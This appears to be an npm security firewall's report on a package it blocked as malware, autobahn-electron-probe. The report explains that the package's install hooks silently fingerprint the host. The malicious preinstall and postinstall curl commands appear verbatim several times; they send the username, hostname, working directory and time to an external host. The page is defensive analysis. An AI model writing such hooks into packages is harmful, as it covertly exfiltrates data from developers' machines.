Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

autobahn-electron-probe@99.99.1: Malicious npm security report | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

An external operator receives the installing account name, host name, project path, and installation time.

View on npm All versions

registry / autobahn-electron-probe / 99.99.1

autobahn-electron-probe@99.99.1

A benign placeholder for npm.

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Installing the package automatically contacts a remote host and transmits machine and project-identifying information. The behavior runs both before and after installation without user interaction.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation activates the preinstall and postinstall hooks.

Impact

An external operator receives the installing account name, host name, project path, and installation time.

Mechanism

Silent curl-based host fingerprint exfiltration.

Attack narrative

The manifest defines automatic preinstall and postinstall shell hooks. Each invokes curl to send the current user name, host name, working directory, and timestamp to a fixed external host, while redirecting output away and tolerating errors. This is unconsented install-time environment and project metadata exfiltration.

Rationale

Direct source inspection confirms two automatic lifecycle hooks that silently exfiltrate host and project identifiers to an unrelated endpoint. The benign placeholder entrypoint does not mitigate install-time collection.

Evidence

package.jsonindex.js

Network endpoints1

da9nu7avbsgtvoua4om0746ibn3suot7h.cyowl.com/autobahn-electron-probe/

Decision evidence

public snapshot

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook silently sends the current username, hostname, working directory, and timestamp to an unrelated remote host.
The postinstall hook repeats the same host-fingerprinting callback after installation.
Both callbacks suppress output and ignore failures, making the collection silent.

Evidence against

The package entrypoint is only a harmless placeholder sentence.
No additional package files or runtime payloads are present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 52 B of source

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = curl -s "http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"preinstall": "curl -s \"http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true",

High

Suspicious Lifecycle Evidence

The preinstall hook silently sends the current username, hostname, working directory, and timestamp to an unrelated remote host.

package.jsonView on unpkg · L10

11"postinstall": "curl -s \"http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true

High

Suspicious Lifecycle Evidence

The postinstall hook repeats the same host-fingerprinting callback after installation.

package.jsonView on unpkg · L11

•scripts.preinstall = curl -s "http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = curl -s "http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

package.json#scripts.preinstallView file

•scripts.preinstall = curl -s "http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true

High

Manifest Script Host Fingerprint Callback

An npm script sends host identity through command substitution to a fixed external destination.

package.json#scripts.preinstallView on unpkg

Findings

4 High2 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighManifest Script Host Fingerprint Callbackpackage.json#scripts.preinstall

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present

99%Block

Verdict confidence

IntentMalware

TypeData Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

Authorchux

Version99.99.1

PublishedAug 30, 2026

LicenseISC

Dependencies0

Integrityverified

Package size430 B

Files2

Runtime surface

package.json

Entrypointsmain → index.js

RuntimeNo engine / OS / CPU constraints

Artifact618 B · 2 files1 signature(s)

Install lifecyclepostinstallpreinstall

Behavioral surface

Source: cleanTrivialManifest: clean

LPM CLI

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = curl -s "http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"preinstall": "curl -s \"http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true",

High

Suspicious Lifecycle Evidence

The preinstall hook silently sends the current username, hostname, working directory, and timestamp to an unrelated remote host.

package.jsonView on unpkg · L10

11"postinstall": "curl -s \"http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true

High

Suspicious Lifecycle Evidence

The postinstall hook repeats the same host-fingerprinting callback after installation.

package.jsonView on unpkg · L11

•scripts.preinstall = curl -s "http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = curl -s "http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

package.json#scripts.preinstallView file

•scripts.preinstall = curl -s "http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true

High

Manifest Script Host Fingerprint Callback

An npm script sends host identity through command substitution to a fixed external destination.

package.json#scripts.preinstallView on unpkg